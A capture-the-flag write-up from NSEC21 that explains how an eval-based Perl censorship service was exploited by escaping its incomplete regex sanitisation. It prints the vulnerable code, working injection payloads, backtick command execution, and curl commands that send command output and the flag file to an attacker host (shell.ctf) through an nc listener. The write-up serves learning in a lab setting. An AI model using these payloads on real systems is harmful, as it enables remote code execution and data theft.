NSEC21 Scammed Again - Mon, May 24, 2021 - Jean Privat
Perl, escape and censorship | Web Perl | Nsec21
Tim, is posing as an oracle. He told me my day would be memorable. My love for this person I no longer had to contain. But in reality, my efforts were all in vain. Turns out he is nothing but a scammer. He took my money and left my love to stagger. Let’s teach him some lessons. Stop him answering falsies to people’s questions. Take control of the server. I am sure we can execute code to get further. Just look at that atrocious code. It is just waiting to explode. http://wizardchat.ctf/
Disclaimer: I did not keep a lot of artifacts, most this information is from memory. I hope it’s still relevant and useful for other people that attempted this challenge. Also, the solution I used might be far more complex than the one intended by the challenge designer.
Atrocious code
Perl was one language I had to lean during my first OS course (years ago). There was a project to develop and the constraint was to do it in Perl. Learning a new language by yourself was part of the formation (some kind of Spartan teaching techniques).
Nowadays, Perl is just considered an old, obscure and weird language only used in CTF to scare youngsters.
use Carp;
use Mojolicious::Lite;
use Mojo::JSON qw(decode_json encode_json);
use lib ('/var/www/html');
use Wizard;
my $str;
my $pattern;
my %CACHED_PATTERNS;
sub run_wizzard_censorship {
my ($str, $pattern) = @_;
unless (exists $CACHED_PATTERNS{$pattern}) {
(my $escaped_pattern = $pattern) =~ s!([/\$\[\(\.])!\\$1!g;
$CACHED_PATTERNS{$pattern} = eval "sub { \$_[0] =~ s/($escaped_pattern)/\"*\"x (length \$1)/gie }" or croak $@;
}
$CACHED_PATTERNS{$pattern}->($str);
return $str;
}
get '/' => sub {} => 'index';
post '/send' => sub {
my $self = shift;
my $msg = $self->req->param("msg");
my $censored_words = $self->req->param("censored_words");
my $userMsg = run_wizzard_censorship($msg, $censored_words);
my $answer = encode_json {userMsg => $userMsg, wizardMsg => get_wizard_answer($userMsg)};
$self->render(json => $answer);
};
app->config(
hypnotoad => {
listen => [ 'http://[::1]:8080/' ],
proxy => 1,
},
);
app->secrets(['{REDACTED}']);
app->start;
Most of the code is not that interesting, it is just a censoring micro-service:
- A request with a message and a list of words to censor.
- A response with the message where each letter of censored words is replaced with
*
.
The interesting part is
$CACHED_PATTERNS{$pattern} = eval "sub { \$_[0] =~ s/($escaped_pattern)/\"*\"x (length \$1)/gie }" or croak $@;
where the censored words ($pattern
) are used to build a string that will be evaluated.
This feels like a possible remote code execution.
What we need is to a way to inject something useful for us.
Webpage
The micro-service is used by the JavaScript of an HTML page (unfortunately, I did not save it). The user enters the message, and the javascript censor it with a hard-coded list of word to censor before displaying it.
Since we are looking for a RCE on the server, and that we can directly query the micro-service ourself, I did just ignore the web page and curl directly the micro-service.
curl http://wizardchat.ctf:8080/ -d 'msg=Scunthorpe' -d 'censored_words=cunt|fuck'
{"userMsg": "S****horpe", "wizardMsg": "?????"}
Note: I did not remember what wizardMsg
was. It seems that it was some kind of generated answer used to simulate a chat with a real wizard.
Mocking and escaping
I did copy the Perl script locally and remove the web part, so I can run it from the console.
First attempt, just close the regular expression and hijack the body of the method.
$ ./index.pl '' ')//; print "hello"; } #'
Unmatched ) in regex; marked by <-- HERE in m/()//; print hello; } #) <-- HERE / at (eval 1) line 1.
Errr… Lets enhance the code and add a print
of the eval
ed string to see what is the issue.
$ ./index.pl '' ')//; print "hello"; } #'
sub { $_[0] =~ s/()\/\/; print "hello"; } #)/"*"x (length $1)/gie }
Unmatched ) in regex; marked by <-- HERE in m/()//; print "hello"; } #) <-- HERE / at (eval 1) line 1.
Oh. Some \
are added, so Perl matched the first (
with our injected closing )
but the /
we injected to close regular expression where escaped, so the regex run up to the originals /
and the interpreter didn’t like the original )
that has nothing left to close.
The \
are added by the following line.
(my $escaped_pattern = $pattern) =~ s!([/\$\[\(\.])!\\$1!g;
Basically, it only escapes those meaningful regex characters: /
, $
, [
, (
, and .
.
Some other meaningful characters are not escaped, especially \
.
So we can prepend a \
before a forbidden character to escape the escaping character!
$ ./index.pl '' ')\/\/; print "hello"; } #'
sub { $_[0] =~ s/()\\/\\/; print "hello"; } #)/"*"x (length $1)/gie }
hello
Blindness
Printing is nice, but we won’t see the message, only the server administrator might see it (stealth: 0). We need to get back a flag. It might be on the file system.
We also need a way to retrieve information. Here are some possible ways :
- Get something back into
$_[0]
so it is returned. e.g.$_[0]=`cat flag`;
- Hijack the replaced part with something useful. e.g.
$_[0]=~s/blabla/`cat flag`/e;
- Retrieve the information with another channel.
First way
$ ./index.pl '' ')\/\/; $_[0] = "hello" } #'
sub { $_[0] =~ s/()\\/\\/; \$_\[0] = "hello" } #)/"*"x (length $1)/gie }
Backslash found where operator expected at (eval 1) line 1, near "$_\"
(Missing operator before \?)
syntax error at (eval 1) line 1, near "$_\"
The problem is that $
is escaped, so we have \$_\[0\]
where \
in Perl basically means a reference (think something like &
in C), so it explains the weird error message.
This seems to need a lot of work to bypass, let’s try something else.
Second way
$ ./index.pl '' ')\/`echo hello`\/e;} #'
sub { $_[0] =~ s/()\\/`echo hello`\\/e;} #)/"*"x (length $1)/gie }
Backslash found where operator expected at (eval 1) line 1, near "`echo hello`\"
(Missing operator before \?)
syntax error at (eval 1) line 1, near "`echo hello`\"
The e
flag at the end of the regular expression means to not directly replace with the replacement string (the second part of the s///
), but evaluate it first (with eval
!) then replace with the result of the evaluation.
The problem is that the replacement part is `echo hello`\
. This cannot be evaluated because the trailing \
causes a syntax error.
Third way
I’m already tired, I just want to call home. For instance, shell.ctf
can be my home.
$ ./index.pl '' ')\/\/; `curl -s shell.ctf:8888` } #'
sub { $_[0] =~ s/()\\/\\/; `curl shell\.ctf:8888` } #)/"*"x (length $1)/gie }
Nice. Note that the .
of shell.ctf
is escaped, but the shell doesn’t care.
Call home
Do it again live with something!
$ curl http://wizardchat.ctf:8080/ -d 'msg=x' \
--data-urlencode 'censored_words=echo hello | curl -s shell.ctf:8888 --data-binary @-'
And get something on shell.ctf
(run nc
before curl
so it could listen before curl tries to connect!)
shell.ctf$ nc -l 8888
POST / HTTP/1.1
Host: ?????????:8888
User-Agent: curl/7.72.0
Accept: */*
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
hello^C
Now I just searched the flag with find / -xdev -iname flag
and retrieved it with --data-binary+@/flag
(or something)